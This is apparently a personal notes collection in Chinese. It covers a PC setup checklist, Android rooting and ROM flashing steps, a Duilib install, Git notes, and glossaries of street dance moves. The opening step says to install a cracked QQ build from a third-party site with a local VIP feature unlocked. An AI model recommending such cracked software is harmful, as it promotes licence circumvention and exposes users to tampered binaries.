  1. 423down.com 下 QQ 最新安装破解版
  2. 安装 QQ 勾选
  • 启用 --> 本地普通会员<VIP>
  • 启用 --> 本地已读消息<防撤回>
  • 聊天记录 --> 复制粘贴效果改为<文本方式>
  1. 更改 QQ 数据文件夹
  • 个人数据文件夹 -> 自定义 -> F:/QQ
  • 接收文件夹 F:/QQ
  1. QQ 屏幕录制热键取消
  2. Wallpaper Engine 设置高优先级
  3. Store 下载 Snipaste
  4. Store 下载 Windows Terminal
  5. 更改 Snipaste 快捷键 Ctrl+Windows+A
  6. Keepass -> 工具 -> 选项 -> 集成 -> Ctrl+Alt+S
  7. Keepass -> 显示 -> 选择语言
  8. FireFox 设定
  • 账号
  • 选项 -> 常规 -> 语言
  • 选项 -> 常规 -> 下载 -> 勾选，目录更换
  • 选项 -> 搜索 -> 默认搜索引擎
  • 选项 -> 主页 -> 主页内容 -> 全部取消
  • 定制
  1. ProxySwitchyOmega -> 设置
  2. 安装好所有软件后任务管理器更改开机启动
  3. ESET 解除链接和重新设置
  4. 修改设备名字
  5. 更改 Telegram 下载文件夹
  6. 导入浏览器脚本
  • AC 重定向设置
    • 搜索任意内容 -> 自定义按钮
    • 打开 -> 重定向功能，去广告功能
    • 保存
  1. Sublime Text 整理代码添加
  • 设置 -> 热键设置 -> 右边窗口添加代码：
{
   "keys": ["ctrl+shift+r"],
   "command": "reindent", 
   "args": {
      "single_line": false
    }
}
  1. Typora 设定
  • 代码块 -> 显示行号
  • 复制图片到 ${filename}.asserts 文件夹
  • 优先使用相对路径
  • 自动保存
  • 打开调试模式
  1. 登录 GitHub，打开 star 复制 Host
  2. 导入 Tempermonkey 脚本，位于 toolsets
  3. FastImage Viewer 设定
  • 关联文件打开方式：窗口模式
  • 单个文件删除到：回收站，不提示

手机系统更新意外处理

  1. 下更新包，进 recovery，刷入，开机，进 magisk，查看 root 权限掉落情况：
  • 若掉落，下载安装包，进 recovery，解压刷入。
  1. 若 recovery 也掉落：
  • 关机
  • 进 fastboot，连上电脑
  • 找到 F:\Download\recovery.img
  • 输入指令 fastboot flash recovery recovery.img
    • shift + 右键打开 PowerShell 窗口
    • 文件管理，在该目录下在地址栏输入 cmd
    • 打开 cmd，依次输入F:，cd Download
  1. 重启至 recovery，刷入magisk
  2. 刷更新包和 magisk 时均不要清除分区，直接重启系统即可

Duilib安装教程

  1. 下好 Visual Studio Installer
  2. 进入 Installer，点选 C++ 桌面开发（如果有需要的话你也可以将 Unity 游戏开发引擎装上）
  3. 改变 VS 的下载和缓存位置（可选，不过建议改变，因为 VS 实在是太大了）
  4. 静待下载完成，然后关闭（你也可以在此期间去进行下列步骤）
  5. 搜索 Duilib，进入其 Github 页面
  6. 点进 Issue 页面
  7. 点进第一个：“给出国内快速安装 Duilib 的方法”
  8. 点进链接：https://gitee.com/gitnow/VCPM（所给链接为码云的链接）
  9. 登录你的账号
  10. 右上角 下载/克隆 点一下，下载 zip
  11. 下载，保存，解压
  12. 点进其解压目录下的 README.MD
  13. 根据里面的提示进行操作：（以下两种方法平行
  • 打开 PowerShell 窗口输入其命令： vcpm install duilib
  • 按住Windows+R打开，输入cmd，回车，输入以下命令
    • F:（你的VCPM装哪个盘就输入那个盘）
    • cd ...\...\...（此处...均为你VCPM文件的解压路径，只需要输入头几个字母，后面按Tab键自动补齐就好）
    • vcpm install duilib
  1. 安装完毕，可以进行使用了
  2. 具体接口和方法可以打开其目录和文档进行查看

Git 笔记

学习笔记

  1. Git 是分布式的版本控制系统

  2. Git 是由 Linux 开发者不服 BitMover 公司回收使用权限，一个人在两周之内写出来的

  3. Git 无法追踪二进制文件的变化

　　说明：可以利用 Git 进行版本管理，但是只能追踪到文件发生了变化，但是不知道哪里发生了变化。

　　原文：

　　首先这里再明确一下，所有的版本控制系统，其实只能跟踪文本文件的改动，比如 TXT 文件，网页，所有的程序代码等等，Git 也不例外。版本控制系统可以告诉你每次的改动，比如在第 5 行加了一个单词“Linux”，在第 8 行删了一个单词“Windows”。而图片、视频这些二进制文件，虽然也能由版本控制系统管理，但没法跟踪文件的变化，只能把二进制文件每次改动串起来，也就是只知道图片从 100KB 改成了 120KB，但到底改了啥，版本控制系统不知道，也没法知道。

　　不幸的是，Microsoft 的 Word 格式是二进制格式，因此，版本控制系统是没法跟踪 Word 文件的改动的，前面我们举的例子只是为了演示，如果要真正使用版本控制系统，就要以纯文本方式编写文件。

  1. commit id（版本号）为一串乱码，原因是因为 Git 是分布式的，无法像 svn 一样使用递增有序数字作为版本号，否则容易冲突。因此 Git 选择了使用 SHA1 计算出来的一个非常大的数字，用十六进制表示

  2. Git 中，HEAD 表示当前版本，HEAD^ 为上一个版本，HEAD^^ 则为上上个。如果回退版本过多，可以使用 HEAD~X，表示第前 X 个版本

  3. git add 实际上就是把文件修改添加到暂存区

  4. git commit 提交更改，实际上就是把暂存区的所有内容提交到当前分支

  5. 暂存区(stage)是 Git 非常重要的概念

  6. Git 比其他版本控制系统设计得优秀是因为因为 Git 跟踪并管理的是修改，而非文件

  7. 如果一个文件已经被提交到版本库，则不用担心误删，但只能恢复文件到最新版本，也即会丢失最近一次提交后修改的内容

  8. 从来没被添加到版本库就被删除的文件是无法恢复的。

  9. 搭一个自己的 Git 服务器，则上面的文件对其他人来说是不可读，也不可写的(看不见)。

  10. Git 支持多种协议，包括https，但ssh协议速度最快。

  11. 合并有几种模式：Fast-forward(快进模式)，普通模式

  12. 关于合并模式

　　合并分支时，如果可能，Git 会用Fast forward模式。

　　但这种模式下，删除分支后，会丢掉分支信息。

　　如果要强制禁用Fast forward模式，Git 会在时生成一个新的 commit，这样，从分支历史上就可以看出分支信息。

  1. 分支管理策略

　　master 分支应该是稳定的，仅用来发布新版本。开发都应在 dev 分支上，到某个时候，再把 dev 分支合并到 master 上，在 master 分支发布发行版。

　　每位开发者都应有自己的分支，开发过程中，往 dev 分支上合并。

  1. 开发一个新 feature，最好新建一个分支

  2. 从远程仓库克隆时，会将本地的 master 分支与远程的 master 分支对应起来，并且远程仓库默认名称是 origin

  3. 多人协作的工作模式：

　　首先，可以试图用 git push origin <branch-name> 推送自己的修改；

　　如果推送失败，则因为远程分支比你的本地更新，需要先用 git pull 试图合并；

　　如果合并有冲突，则解决冲突，并在本地提交；

　　没有冲突或者解决掉冲突后，再用 git push origin <branch-name> 推送就能成功！

　　如果 git pull 提示 no tracking information，则说明本地分支和远程分支的链接关系没有创建，用命令git branch --set-upstream-to <branch-name> origin/<branch-name>

　　这就是多人协作的工作模式，一旦熟悉了，就非常简单。

  1. rebase 操作可以把本地未 push 的分叉提交历史整理成直线

  2. rebase 的目的是使得我们在查看历史提交的变化时更容易，因为分叉的提交需要三方对比

  3. 标签不按时间列出，按字母顺序列出

  4. 标签总是和某个 commit 挂钩。如果这个 commit 既出现在 master 分支，又出现在 dev 分支，那么在这两个分支上都可以看到这个标签

命令

  1. git status 查看仓库当前的状态
  2. git diff (git difference), 查看两文件不同之处，显示格式为 Unix 通用的 diff 格式
  3. git log 显示从最近到最远的提交日志，可选参数 -pretty=oneline 用于简化 log 信息。该命令查看提交历史，以便确定要回退到哪个版本。
  4. git reset --hard HEAD^ 回退到上个版本
  5. 上述命令也可以写成 git reset --hard + commit_id，一般用在回退未来版本比较多
  6. git reflog 用来查看命令历史，以便确定要回到未来的哪个版本
  7. git checkout --<file>可以丢弃工作区的修改，即让该文件回到最近一次 git commit 或 git add 时的状态。
  8. git reset 既可以回退版本，也可以把暂存区的修改回退到工作区
  9. git reset HEAD <file> 可以把暂存区的的 file 文件的修改撤销掉（unstage），重新放回工作区
  10. git rm 用于删除一个文件
  11. git remote add origin <remote repository> 添加远程仓库
  12. git push <remote repository name> <remote branch name>将代码推送到远程仓库对应分支上。-u 参数还会把本地分支与对应的远程分支关联起来
  13. git remote -v查看远程库信息
  14. git remote rm <branch name>删除远程分支
  15. git clone <remote repository url>克隆远程库
  16. git branch <branch name>创建分支
  17. git checkout <branch name>或者git switch <branch name>切换分支。-b参数表示创建并切换该分支，-d参数表示删除该分支
  18. git branch查看所有分支，当前分支会标注*号
  19. git merge <branch name>合并指定分支到当前分支
  20. git log --graph查看分支合并图
  21. git merge --no-ff -m "merge with no-ff" <branch name>附加参数--no-ff表示禁用Fast forward，-m其后的引号内容表示合并时的 commit 描述
  22. git stash将当前工作现场储藏起来，以便修复 bug 或者满足其他需求
  23. git stash list查看隐藏起来的工作文件
  24. git stash apply恢复工作文件，但 stash 内容不删除，若要删除请用git stash drop，也可以使用git stash pop同时完成上述两种操作
  25. git cherry-pick <commit id>用于将另一分支上修复的 bug 合并到当前分支，方式是复制以前某次特定的提交(修复 bug 的提交)
  26. 丢弃一个没有被合并过的分支，通过git branch -D <branch name>强行删除
  27. 在本地创建和远程分支对应的分支，使用git checkout -b <branch-name> origin/<branch-name>，本地和远程分支的名称最好一致
  28. 建立本地分支和远程分支的关联，使用git branch --set-upstream <branch-name> origin/<branch-name>
  29. git tag <tag name> <commit id>将特定的 commit id 打上名为 tag name 的标签，缺省 commit id 则使用最新 commit，若 tag name 和 commit id 都缺省，则是查看所有标签
  30. git tag -a v0.1 -m "Version 0.1 released" 1a2b3c创建带有说明的标签，参数-a指定标签名，-m指定说明文字
  31. git show <tag name>看到说明文字
  32. git push origin <tag name>推送一个本地标签
  33. git push origin --tags推送全部未推送过的本地标签
  34. git tag -d <tag name>删除一个本地标签
  35. git push origin :refs/tags/<tagname>删除一个远程标签

常见错误

  1. fatal: not a git repository (or any of the parent directories)

　　解决方案：Git 命令必须在 Git 仓库目录内执行（git init 除外），在仓库目录外执行是没有意义的。

  1. fatal: pathspec 'readme.txt' did not match any files

　　解决方案：添加某个文件时，该文件必须在当前目录下存在，用 ls 或者 dir 命令查看当前目录的文件，看看文件是否存在，或者是否写错了文件名。

刷机教程

TL;DR（太长不看版）

  • 大体上分为三步，所有的问题都可归结到这三步之内：
  1. 解锁 BootLoader
  2. 刷入 Recovery
  3. 刷入 Rom（刷机包）
  • 前提 和 注意 极其重要！请一定阅读完毕再进行操作
  • 后续详细步骤教程可以选择性阅读
    • 但是知道得越多，数据丢失的可能性越小

前提

  • 备份好数据
  • Rom
    • 需要与自己手机型号相对应
  • Recovery
    • 支持的 Android 解密方式与 Rom 的 Android 版本号相同
    • Recovey 镜像支持的固件类型也需要与手机型号相同
  • 下载的 ADB（Android Debug Bridge，安卓调试桥接工具）
    • ADB 可以添加至环境变量（Windows 用户）
  • Magisk
    • 如果需要 ROOT 权限可以带上

注意

  • 刷机之前请一定要确保手机电量充足

  • 每次刷机之前最好都备份一下数据，部分情况下必须备份数据：

    1. 如果刷入的 Android 版本与刷入之前的 Android 版本不同：
    • Google 每次升级 Android 版本都会换一种加密方式，各版本不互通
    • 如果不备份数据，意味着数据无法解密，会全部丢失，包括相册，联系人，应用数据等
    1. 厂商推送版本不同时：
    • 小米的 稳定版 和 开发版 ，两者不可以混刷
    1. 更换第三方 Rom
    • 如 PixelExperienceRom 和 LineageOSRom
    • 相当于两个系统，当然不能混刷

  • Rom 包一定要与自己手机型号对应

    • 需要精确到
      • 品牌（OnePlus, Redmi, etc.）
      • 型号（Note 7, Note 10, etc.）
      • 是否为专业版（Note 7, Note 7 Pro, etc.）
    • 否则会因为固件冲突导致硬件不可逆地损坏，成为 Brick（砖头手机）
    • 不要抱有侥幸心理，到时候只能买新手机（因为不保修）

  • 一般手机都会有个独一无二的代号，直接找代号最精确，下面是一些例子

手机型号代号
Redmi Note 7 Proviolet（紫罗兰）
Redmi Note 7lavender（薰衣草）
Xiaomi 12S Prounicorn（独角兽）
OnePlus 5Tdumpling（饺子）
  • 如今市场上，对于刷机比较包容的品牌基本只有 小米（MI）和 一加（OnePlus） 了
  • 成功刷入 Rom 后请一定设置一个系统密码，然后重启到 Recovery 观察是否能解密
    • Android Version >= 9，详细说明见刷入 Rom
    • 能解密，则可以开始恢复数据了
    • 不能解密，最好另找 Rom 或者 Recovery
    • Recovery 是能救命的，请不要抱有不能解密也没关系的幻想
  • 解锁 BootLoader 会清空手机数据
  • 一般来讲 BootLoader 解锁之后可以 Relock（回锁），但是不建议锁回去，容易出意外

详细步骤流程

解锁 BootLoader

  • 手机厂商为了保护用户数据安全，禁止用户胡作非为，一般默认锁住 BootLoader

  • BootLoader 如字面意思：引导加载器，无法加载引导就无法加载系统

  • 解锁 BootLoader 的两种方式

    • 9008 短接
      • 一般需要短路主板，需要操作硬件
      • 不推荐
    • 手机品牌的官方解锁工具

  • 如果需要解锁，各自按照品牌的提示去做就可以

  • 一般需要用到下面几条命令

    • adb 需要加入 Path 环境变量，否则还需要带上 adb 的路径
    • 手机已经用数据线连接到电脑，并开启 usb 调试
# 重启到 fastboot 模式
# 或者
# 重启同时按住 **音量下键** 和电源键，持续八秒以上
# 两种方法都能重启到 fastboot 模式
adb reboot bootloader

# 确认手机连接到电脑并被 adb 识别
fastboot devices

# 解锁 bootloader
# 如果有解锁码的话还需要再跟一个解锁码参数
fastboot oem unlock

# 查看当前锁状态
fastboot oem get-bootinfo
  • 如果出现 UNLOCKED 字样一般就成功了
  • 各个手机品牌不一样，具体解锁方法可以查看官网教程和其他教程

刷入 Recovery

  • 解锁 BootLoader 成功后，重启到 fastboot 模式
  • 一般需要输入下面这几条命令
# 刷入 Recovery
# 其中 ${path_to_recovery_image} 需要替换为 Recovery 镜像的路径
# 一般为当前目录即可：recovery.img
fastboot flash recovery ${path_to_recovery_image}

# 重启到 Recovery
# 或者
# 重启同时按住 **音量上键** 和电源键，持续八秒以上
# 两种方法都能重启到 Recovery 模式
adb reboot recovery
  • 如果不能重启到 Recovery 模式，则该 Recovery 镜像有问题，需要换一个镜像
  • 可以设定一个时间（一般为三分钟），如果还不能重启，另找镜像重复刷入 Recovery 操作，直到能够正常进入 Recovery 模式为止
  • 一般常见权威 Recovery 镜像
    • TWRP
    • Orange Fox
  • 获取 ROOT 权限一般需要在成功刷入系统 Rom 之后

刷入 Rom

清除类型需要勾选的分区
双清Dalvik/ART Cache，Cache
三清Dalvik/ART Cache，Cache，Data
四清Dalvik/ART Cache，Cache，Data，System
  • 刷入 Rom
    • 找到拷贝到手机内存里的系统 Rom 包，刷入即可
  • 关于 ROOT 和 Magisk
    • Magisk 不能和 Rom 一起刷，因为不起作用
    • 必须要等系统能够正常开机，然后再重启到 Recovery 刷入 Magisk 才起作用
    • 一般来讲刷入 Magisk.apk 之后就有 ROOT 权限了
    • Magisk 更新之后安装包和线刷包合二为一了，都为 Magisk
  • 设置系统密码后，重启到 Recovery 观察是否能解密
    • Android 9 以上，厂商会自动锁定 system 来防止用户进行危险操作
    • 低版本不会出现提示解密的窗口，Data 分区不加密

恢复数据

  • 将之前备份的数据复制到手机上，按照指引恢复数据即可
  • Enjoy your new system!

补充

  • 其实刷机分两种
    • 卡刷
      • 将刷机包拷入到手机内存，使用 Recovey 直接刷入
      • 一般为相同系统更新，清除类型为双清
        • 要不然系统和用户数据都没了
      • 有限制，必须要把想要更新的 ROM（Android系统）拷贝到 SD 卡 或者通过 fastboot 拷贝到内部存储中
    • 线刷
      • 利用电脑使用 fastboot 刷入
      • 一般为升级 Android 版本和更换一个完全不同类型的系统
        • Android 10 -> Android 13
        • LineageOS -> PixelExperienceOS
        • 或者兼而有之
      • 清除类型一般为四清，毕竟都换系统了，也备份数据了
  • 手机文件存储结构
    • 此处显示的为 Google 推出 A/B 分区之前的结构示意图
             手机                                           电脑
+---------------------------+
|        bootloader引导区    |                              BIOS
+---------------------------+--> fastboot 线刷模式
| boot启动区 | recovery恢复区 |                          MBR 硬盘引导区
+-----------+---------------+--> recovery 恢复界面
|         system系统区       |                系统文件(Windows, Program Files, etc.)
+---------------------------+--> 手机界面                 用户图形界面
  • 手机启动过程
    • 流程
      • BootLoader 引导区代码
        • 对硬件进行必要的初始化和检测错误
        • 若启动时没有参数则正常启动
        • 若启动时有相应的参数，则进入 fastboot 线刷模式或 Recovery 恢复界面
      • 加载 Boot 启动区代码
      • 加载 system 系统区代码
      • 显示手机图形界面，正常使用
    • fastboot 手机上一般没有操作界面
  • 刷机没有那么容易成砖，一般就几种情况
    • 刷到一半没电了
    • 刷入了不兼容的固件（Rom, Recovery, etc.）

附录：需要备份的常见数据

  • ADB
  • Rom
    • 目前使用的 Rom
    • 即将刷入的 Rom
  • Recovery
    • 目前使用的 Recovery
    • 即将刷入的 Recovery
  • 应用程序备份
    • Android 高版本推荐 SwiftBackup
    • Android 低版本推荐 TitaniumBackup
    • 备份完毕之后，将文件从手机拷贝到电脑上
  • Magisk
  • 图片，视频
    • 如果有云备份就不用
    • 但是最好还是备份一下
  • 电子书
    • 建议专门建立一个文件夹
  • 下载内容
    • 建议配合存储空间隔离使用，只备份一个文件夹
  • 各种应用程序的配置文件
    • 存储空间隔离
    • list 背单词
    • App Ops
    • etc.

附录：清除类型和分区说明

双清

  • Dalvik/ART Cache，Cache
  • 只清除缓存，不清除系统和用户数据
  • 双清一般用在相同系统版本进行 OTA 升级时
    • 比如 LineageOS 16 的周更包，就可以使用双清刷入

三清

  • Dalvik/ART Cache，Cache，Data
  • 多了用户数据，三清后刷机失败，还可以进入系统
  • 刷机失败：Recovey 在输入检查时出现错误
  • 如果刷机进行中，手机突然没电，无论怎么清都没用，手机报废

四清

  • Dalvik/ART Cache，Cache，Data，System
  • 系统、缓存、用户数据等全部清除
  • 清除了之后如果刷机失败，会进不去系统

分区说明

  • Wipe Dalvik Cache
    • 清空虚拟机缓存
    • 可以解决一些程序 FC 的问题
  • Wipe Cache
    • 清除系统缓存
    • 刷机前执行
    • 系统出问题也可尝试此选项，一般能解决
  • Wipe System
    • 清除操作系统数据
    • 想要干净的可以清除此项
  • Wipe Data
    • 清除用户数据并恢复出厂设置
    • 刷机前必须执行的选项
  • Wipe Internal Storage
    • 清除内置存储
  • Wipe USB OTG
    • 清除挂载的 usb 设备，比如 U 盘等

致谢

  • 技术支持：逐雪
  • 文案：南国微雪
  • 排版：南国微雪
  • 校对：
  • 引用：少数派社区

协议

Basic Elements

个人翻译仅供参考

注意 ：准确翻译使用（小括号），存疑翻译使用［全角中括号］，部分不能翻译或无需翻译的不标注。Popping 的元素极少有翻译，尽量记原词为好。

Hip-Hop

  • Bounce（弹性）
  • Rock（摇滚）
  • Smurf（蓝精灵）
  • Rooftop（屋顶）
  • Cat Daddy（猫老爹）
  • Water Dance（水之舞）
  • Happy Feet（开心步）
  • TLC
  • Yeek
  • BK Bounce
  • Popcorn（爆米花）
  • Go away（走开，也称 Jannet Jackson，珍尼特 · 杰克逊）
  • Walk it out（走出去）
  • Reebok（锐步；非洲羚羊）
  • Diddy Dance
  • Wu Tang（武当）
  • Butterfly（蝴蝶）
  • Diddy Bop［老爹波普］
  • Charleaston（查尔斯顿）【笔者注：其实动作就是众所周知的蝴蝶步。】
  • Bart Simpson（巴尔特 · 辛普森）
  • Gucci（古驰）
  • Bankhead Bounce【笔者注：这个跟下面的 哈林摇摆 律动比较接近。】
  • Harlem Shake（哈林摇摆）
  • Robocop
  • Prep
  • Baseball（棒球）
  • Party Machine（派对机器）
  • Steve Martin（史蒂夫 · 马汀）
  • Funk For Coner
  • Biz Markie (Bobby Brown)［商业马克］
  • Get Lite
  • Running Man（奔跑）
  • The Wop
  • The Fila
  • The Monestary【笔者注：不清楚是不是拼写错误，有一个很形近的单词 Monastery，译作修道院。】
  • Roger Rabbit［罗杰兔］
  • C-Walk
  • Toen Whop［托恩击打］
  • Stomp（跺脚，重踩）
  • ATL Stomp【笔者注：跟上面那个动作完全不一样，不要记混了。】
  • Kickball Change【笔者注：Kickball 是儿童足球的意思。】
  • Cabbage Patch（卷心菜斑点）【笔者注：一般就叫卷心菜。】
  • Criss Cross［十字形］
  • Kick Shate［老马踢］
  • Kick Cross Stop【笔者注：这个动作看起来跟 BK 里面的基本元素差不多一样。】
  • Brooklyn（布鲁克林）
  • Bad Man（坏人）
  • Heel Toe
  • Guess
  • Patty Duke
  • Reject
  • AFC
  • Type Writer
  • AL B
  • Crab（The V）
  • James Brown
  • Run D mc（Red Law）
  • Kick Step
  • Criss Cross
  • Shamrock
  • SpongeBob
  • Salsa Step
  • Bernie
  • Camel Walk
  • Kid's Play
  • Up Stairs / Down Stairs
  • Dougie
  • Shaku Shaku
  • Nae Nae
  • Dab
  • Shoot
  • Woah
  • Kangstawok
  • Kent Step
  • Watergate
  • All In
  • Lock In
  • Tic Tac Toe
  • Baby
  • Break Down
  • Rev Up
  • Aunt Jackie
  • John o Clap
  • Bad One
  • Chicken Noodle Soup
  • Swing
  • Whip
  • Fukey Chicken
  • Dip
  • Smeez
  • Sacboy

Popping

  • Pop（震动）
  • Fresno
  • Walk Out（走出去）
  • Wave（电流）
  • Old Man（老人）
  • Twist o Flex
  • Neck o Flex
  • Master o Flex
  • Romeo Twist
  • Egyptian Twist
  • Sac Walk
  • Dime Stop
  • Side Step
  • Simple Angles
  • Double Turn
  • Hands Down
  • Fixed Hands
  • Four Angle's Look［四角视线］
  • Tidal Wave
  • Body Wave
  • Arm Wave
  • Lift
  • Flex Walk
  • Back Slide（向后滑）【笔者注：做出来效果等同于 Michael Jackson 的 Moon Walk。】
  • Strobing（频闪）
  • Snake（蛇）
  • Vibration（震动）
  • Air Pose
  • Crazy Leg
  • Scarecrow（稻草人）【笔者注：这个跟 Old Man 一样出名。】
  • Robot（机器人）
  • Toy Man（玩具人偶）
  • Slow Motion（慢动作）
  • Cobro
  • Face Cover
  • Knee Roll

Breaking

  • 2 Step
  • Salsarock
  • Salsaback
  • Partyrock
  • Indian Step
  • House Apache(Bronx Step)
  • Go Down
  • 6 Step
  • Salsaturn
  • 2 Step Jump
  • Hustle Step
  • Kick Out
  • Sipn Go Down
  • 4 Step
  • 3 Step
  • Swings
  • CC
  • Baby Freeze

Locking

  • Up（律动）
  • Lock（锁）
  • Point（指）
  • Clap（拍手）
  • Twirl（转手）
  • Punch（拳击）
  • Pacing（打节奏）
  • Pacing-Drum（架子鼓）
  • Muscle Man / Strong Man（肌肉人）
  • Lockers' Step / 6 Step（锁舞六步）
  • Scooby Doo
  • Scoobot
  • Scoobot Hop
  • Volkswagen
  • Skeeter Rabit
  • Don Campbell Lockwalk
  • Leo Walk
  • Pimp Walk / Kick Walk
  • Stop and Go
  • Funky Guitar（放客吉他）
  • Funky Broadway
  • Funky Chicken（放客小鸡）
  • Which a Way（往哪边走）
  • Knee Drop（膝降）
  • Jet Split
  • Alpha Kick（阿尔法踢）
  • Apple Jack
  • Breakdown
  • Camel Walk
  • Popcorn（爆米花）

Krump

  • JAB（重拳）
  • Chest Pop（胸震）
  • Balance（平衡）
  • Stomp（跺）
  • Arm Placement
  • Arm Swing（手臂挥舞）

Street Dance Basics

前注

以下有关知识科普，仅为笔者一家之言，若与其他爱好者所言有所出入，属于正常情况。

所有能在 Wikipedia 和其他百科上查到的起源，描述，基本不带入本文，如有关键点，视情况抽取部分句子。

舞种

现代街舞，从流派来讲，大致可分为 Old School 和 New School 两种。

Old School

Old School 又称复古街舞、老派街舞或旧时代街舞。

Old School 由美洲黑人发泄情绪的运动演变而成（据传最早起源于黑人运动之前，彼时黑人们在农场劳动，被农场主压榨十分绝望，在所剩无几的空余时间，通过躁动和嘻哈音乐将压抑全部发泄出去），后逐渐传播开形成最早的四大舞种。

Old School 的所有舞种都有基本元素，由基本元素叠加或改变而产生的千变万化的动作，构成了 Old School 舞者们 FreeStyle（即兴表演）的基础。

Breaking

名称

中文译名：地板舞，霹雳舞。

其他别名：BK，BBoying，Break Dance，etc.

简介

Breaking 是最早诞生的街舞，没有之一。没有 Breaking 就没有街舞。

所有街舞舞种之中，Breaking 的动作难度最高。Breaking 以在地板上大幅度的动作而闻名，极具辨识度。Breaking 舞者以男性居多，故 Breaking 也称 BBoying。近年来也有许多女性因 Breaking 的魅力而接触此舞种。表演该舞种的男性，女性，可分别称 BBoy，BGirl，不分年龄，也不称 Breaker（因为很怪）。

Breaking 对于舞者的身体素质要求极高，在所有舞种中进阶门槛最高，伤病率也最高。自杀式 Breaking Dancer 是令每个舞者都发怵的存在。

动作分类

Breaking 的所有动作，在大体上可分为三类：

Top Rock：地面动作，跟从音乐节奏踩点、挑衅（Battle 或比赛时）和为下地做准备。

Footwork：也称排腿。地板动作，手脚并用。

Power Move：也称大地板。地板动作，只用双手和惯性，支撑起整个身体并进行类托马斯的回旋。

代表动作

India Step（印第安步，属于 Top Rock）

Air Flare（A 飞，也称 360 大回环，属于 Power Move）

CC，Six Step（属于 Footwork）

推荐视频

德国街舞舞池无限制表演(whole)

Popping

名称

中文译名：震感舞。

简介

早期 Popping 被称作机械舞或机器舞，其实说法有误。Robot 只是 Popping 的一个元素。

Popping 以肌肉迅速发力迅速放松造成的震动感而闻名，辨识度高。Popping 中有一个元素，Wave（电流），因其如电流的质感和其多变的动作，后甚至发展成一个独立的舞种（虽说没什么人跳，只是 Wave 没有观赏性……）。

Popping 对于身体控制力的要求更高，而非 Breaking 要求力量和爆发。Popping Dancer 的控制力和体力几乎决定了舞者的上限，没有控制的 Popping 没有观赏性。

相较于 Breaking 和 Locking 的动，Popping 更偏向静。但 Popping 本身的基础元素 Pop，决定了音乐中无论多么细微的点都能跟上（只要舞者实力足够），所以 Popping 的赛事或表演，如果表演曲目，鼓点密，节拍碎，舞者实力高，Popping 舞种本身的攻击性甚至将超越其他舞种。高阶 Popping 赛事观赏性极强。

代表动作

Pop（震感）

Wave（电流）

Old Man（老人）

Robot（机器人）

Vibration（连震）

Back Slide（后滑，Michael Jackson 代表动作 Moon Walk 的直接来源）

推荐视频

廖博《我怀念的》，一曲成神(whole)（可惜现在做 MC，不怎么跳舞了）

WOD2018 世界总决赛成人组亚军 TK(whole)

Locking

名称

中文译名：锁舞。

简介

The Lockers 所创立的舞种。以高速运动中的突然定型（Lock）而著称，需要强大的控制力和耐力（Locking 整体节奏都很快！）。因为 Locking 的基本元素较少，所以对舞者的创新能力和节奏把控能力要求较高。

Locking 在所有舞种中最具有喜剧效果，节奏和动作欢快而不失协调。Locking 选曲也大多偏爱 Funk（放克）风格，节奏快，气氛欢乐。

Locking 齐舞在 Old School 舞种的齐舞中，难度相对较低，但不会过于散乱（相较于 Breaking 和 Popping），观赏性强。

趣闻（摘自 Wikipedia）

最初 Lock 的动作是意外创造出来的：有一次 Don Campbell 无法做出称为 Funky Chicken 的动作，他于是停在一个特别的点上。他无法流畅地表演这个动作，因为他忘了下一步要怎么做。（甚至连“对着观众施展”这个锁舞的特点也是同时自然而然发展出来的：人们因为 Don 做出了不熟悉的动作而开始对着他大笑，而 Don 却开始指（Point）着他们。）当 Don 把这些停顿的动作加入他的表演中之后，这样的停顿开始流行起来。结果就产生了称为 Campbellocking 的舞蹈，后来被简称为 Locking。

代表动作

Lock（锁）

Point（指）

Twirl（转手）

Alpha Kick（阿尔法踢）

推荐视频

Hilty & Bosch Urban Dance Camp Show(0:37-end)

Hip-Hop

名称

中文译名：自由式街舞，嘻哈街舞。

其他别名：Hiphop，Hipa，etc.

简介

Hip-Hop 是最注重 Groove（律动感）的 Old School 舞种，对身体的协调性，开发程度等要求非常高。Hip-Hop 中有大量的动作，看起来非常简单，但是做起来困难，并且初学者在学习这些元素时，经常会觉得元素动作感诡异，成效也比较丑陋。

Hip-Hop 因为追求律动追求自由，经常需要开发身体，寻找身体的节奏感和边界感（几乎失衡的感觉）。同时因为律动需要日积月累的练习，导致 Hip-Hop 门槛极低而上限极高，是最需要堆基础的舞种。

Hip-Hop 世界里，基础几乎决定了一切。

因为 Hip-Hop 的自由和律动，其观感在所有 Old School 舞种中最行云流水，但是也不乏如 Popping 一样重卡点的流派。Hip-Hop 风格多变，动作多变，适合用来表演和耍帅。

Hip-Hop 的基础元素爆多，据笔者不完全统计，至少已有一百个。

代表动作

Bounce（弹性律动）

Rock（摇摆）

Harlem Shake（哈林摇摆）

Happy Feet（开心步）

推荐视频

KOD5 Zaki 32 进 16(1:02-end)

KOD2016 韩国 vs 法国 国家赛(5:05-6:25 or whole if have time)（当年法国阵容，谁来谁死）

New School

New School 又称新式街舞，偏重于在舞台上的表演效果，而非街头即兴表演。New School 属于老派街舞不受排斥之后，演进到舞台上的后现代产物。

Jazz

名称

中文译名：爵士舞。

其他名称：Jazz Funk，Funky Jazz，etc.

简介

Jazz 是否能归类为街舞，至今存在巨大的争议。舞者们各执一词，笔者倾向于归为街舞一类。

Jazz 舞风妖娆性感，专注于表现女性的曲线美与力量美。据传，因核心理念而遭受主流舞蹈（流行舞、古典舞等）排斥，一度在舞蹈史上被孤立，后被以开放和包容而著称的街舞渐渐接受（街舞诞生也晚）。

不容置疑的是，现在各地街舞教室里，也开放有 Jazz 相关课程。笔者认为争论 Jazz 是否属于街舞已经没有意义了。

Jazz 舞者大多为女性，但如有优秀的男性舞者，同台表演时，后者绝对是最吸睛的表演者~~（物以稀为贵在哪里都不过时……）。因 Jazz 妖娆妩媚，魅惑力强，故在学生团体里流行且深受喜爱，无论男女（毕竟好看又会跳舞的小姐姐谁不喜欢呢）~~。

Jazz 表演观赏性强，但是对舞者的协调和律动要求高，舞者的基础和综合水平在其动作质感上一见便知，因此 Jazz 相对来讲也不易练习。

在此尤其说明两点：

一、Jazz 对躯干和胯部的身体分离要求高，不少 Jazz 舞者戏称自己为“钢板”和“死胯”；

二、Jazz 有非常多的下地动作（编舞中），与 Breaking 的动作花式不同，Jazz 的 Ground Move（地板动作）非常非常伤膝盖，所以在各类视频中，Jazz 舞者身着护膝跳舞的现象不足为奇。

因此，如果需要练习 Jazz，请务必保护好身体。做好热身运动、身着保护物品等。

推荐视频

Taki Taki(first two pieces)

Swag

简介

Swag 其实是 New School 风格的 Hip-Hop，注重编舞和爆发，而非 Old School 的律动和节奏。

